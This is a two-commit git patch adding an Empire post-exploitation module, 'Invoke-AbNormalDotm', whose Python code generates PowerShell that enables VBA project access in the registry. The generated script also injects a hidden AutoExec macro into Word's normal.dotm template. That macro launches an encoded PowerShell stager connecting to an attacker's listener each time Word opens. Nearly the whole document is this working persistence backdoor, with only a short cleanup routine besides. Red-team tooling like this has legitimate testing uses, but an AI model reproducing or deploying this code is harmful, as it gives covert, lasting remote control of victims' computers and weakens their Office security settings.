From f6fc8550b1566f81e877c97fb8b1d5a37d307b7d Mon Sep 17 00:00:00 2001 From: Alexander Date: Tue, 29 Mar 2016 16:38:02 -0500 Subject: [PATCH 1/2] Added normal.dot persistence mechanism --- lib/modules/persistence/userland/normal.py | 173 +++++++++++++++++++++ 1 file changed, 173 insertions(+) create mode 100644 lib/modules/persistence/userland/normal.py diff --git a/lib/modules/persistence/userland/normal.py b/lib/modules/persistence/userland/normal.py new file mode 100644 index 0000000..fff9bc3 --- /dev/null +++ b/lib/modules/persistence/userland/normal.py @@ -0,0 +1,173 @@ +from lib.common import helpers + + +class Module: + + def __init__(self, mainMenu, params=[]): + + # metadata info about the module, not modified during runtime + self.info = { + # name for the module that will appear in module menus + 'Name': 'Invoke-AbNormalDotm', + + # list of one or more authors for the module + 'Author': ['@0xbadjuju'], + + # more verbose multi-line description of the module + 'Description': ("Backdoor a users normal.dotm file that launches an Empire stager upon opening Word."), + + # True if the module needs to run in the background + 'Background' : True, + + # File extension to save the file as + 'OutputExtension' : None, + + # True if the module needs admin rights to run + 'NeedsAdmin' : False, + + # True if the method doesn't touch disk/is reasonably opsec safe + 'OpsecSafe' : False, + + # The minimum PowerShell version needed for the module to run + 'MinPSVersion' : '2', + + # list of any references/other comments + 'Comments': [ + 'http://blog.netspi.com/', + 'http://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + # The 'Agent' option is the only one that MUST be in a module + 'Description' : 'Agent to grab a screenshot from.', + 'Required' : True, + 'Value' : '' + }, + 'Listener' : { + 'Description' : 'Listener to use.', + 'Required' : True, + 'Value' : '' + }, + 'Cleanup' : { + 'Description' : 'Switch. Cleanup the trigger and any script from specified location.', + 'Required' : False, + 'Value' : '' + }, + 'UserAgent' : { + 'Description' : 'User-agent string to use for the staging request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'Proxy' : { + 'Description' : 'Proxy to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'ProxyCreds' : { + 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + # During instantiation, any settable option parameters + # are passed as an object set to the module and the + # options dictionary is automatically set. This is mostly + # in case options are passed on the command line + if params: + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + listenerName = self.options['Listener']['Value'] + + # staging options + userAgent = self.options['UserAgent']['Value'] + proxy = self.options['Proxy']['Value'] + proxyCreds = self.options['ProxyCreds']['Value'] + + cleanup = self.options['Cleanup']['Value'] + + if not self.mainMenu.listeners.is_listener_valid(listenerName): + # not a valid listener, return nothing for the script + print helpers.color("[!] Invalid listener: " + listenerName) + return "" + else: + # generate the PowerShell one-liner with all of the proper options set + launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=False, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) + launcher = launcher.replace("$", "`$") + # read in the common powerup.ps1 module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/persistence/Invoke-AbNormalDotm.ps1" + + if not self.mainMenu.listeners.is_listener_valid(listenerName): + # not a valid listener, return nothing for the script + print helpers.color("[!] Invalid listener: " + listenerName) + return "" + else: + # generate the PowerShell one-liner with all of the proper options set + launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) + encScript = launcher.split(" ")[-1] + + if cleanup.lower() == 'true': + script = "cd HKCU:\\SOFTWARE\\Microsoft\\Office\\;" + script += "gci . | %{ if(Test-Path Registry::$(Join-Path $_ -ChildPath 'Word\Security')){if((gpv -Path Registry::$(Join-Path $_ -ChildPath 'Word\\Security') -Name AccessVBOM) -eq 1){sp -Path Registry::$(Join-Path $_ -ChildPath 'Word\\Security') -Name AccessVBOM -Value 0;}else{return;}}};" + script += "cd $env:APPDATA'\\Microsoft\\Templates\\';" + script += "if(Test-Path normal.dotm.bak){" + script += "mv -Force normal.dotm.bak normal.dotm;" + script += "\"File Restored\"" + script += "}else{" + script += "\"Backup normal.dotm not found\";}" + return script + + script = "[System.Reflection.Assembly]::LoadWithPartialName(\"Microsoft.Vbe.Interop\") | Out-Null;" + script += "cd HKCU:\\SOFTWARE\\Microsoft\\Office\\;" + script += "gci . | %{ if(Test-Path Registry::$(Join-Path $_ -ChildPath 'Word\Security')){if((gpv -Path Registry::$(Join-Path $_ -ChildPath 'Word\\Security') -Name AccessVBOM) -eq 0){sp -Path Registry::$(Join-Path $_ -ChildPath 'Word\\Security') -Name AccessVBOM -Value 1;\"Updated Registry`n\"}else{return;}}};" + script += "cd $env:APPDATA'\\Microsoft\\Templates\\';" + script += "$word = New-Object -ComObject Word.Application;" + script += "\"Opening Word`n\";" + script += "$word.visible = $false;" + script += "cp Normal.dotm AbNormal.dotm;" + script += "$doc = $word.Documents.Open(${env:APPDATA}+'\\Microsoft\\Templates\\AbNormal.dotm');" + script += "$macro = $doc.VBProject.VBComponents.Add(1);" + script += "$code = \n" + script += "@\"\n" + script += "sub AutoExec()\n" + script += "Dim objShell As Object\n" + script += "Dim objExecObject As Object\n" + script += "Dim strScript As String\n" + script += "strScript = \"powershell.exe -NoP -NonI -W Hidden -Enc \"\n" + for i in range(0, len(encScript), 100): + script += "strScript = strScript + \"" + encScript[i:i+100] + "\"\n" + script += "Set objShell = CreateObject(\"WScript.Shell\")\n" + script += "objShell.Run strScript\n" + script += "end sub\n\n" + #Probably superfluous + script += "sub AutoOpen()\n" + script += "AutoExec\n" + script += "end sub\n" + script += "\"@;" + script += "$macro.CodeModule.AddFromString($code);" + script += "$doc.Save();" + script += "$doc.Close();" + script += "$word.Quit();" + script += "\"Wrote Macro`n\";" + script += "\"Sleeping to wait for file to unlock\";" + script += "Start-Sleep -s 10;" + script += "mv Normal.dotm Normal.dotm.bak;" + script += "mv AbNormal.dotm Normal.dotm;" + script += "\"Finished\";" + return script From 74945a953a927591e43f89913035a9ea5a04c643 Mon Sep 17 00:00:00 2001 From: Alexander Date: Tue, 29 Mar 2016 17:00:45 -0500 Subject: [PATCH 2/2] Update normal.py --- lib/modules/persistence/userland/normal.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/modules/persistence/userland/normal.py b/lib/modules/persistence/userland/normal.py index fff9bc3..e3ac97d 100644 --- a/lib/modules/persistence/userland/normal.py +++ b/lib/modules/persistence/userland/normal.py @@ -44,7 +44,7 @@ class Module: # value_name : {description, required, default_value} 'Agent' : { # The 'Agent' option is the only one that MUST be in a module - 'Description' : 'Agent to grab a screenshot from.', + 'Description' : 'Agent to deploy on.', 'Required' : True, 'Value' : '' },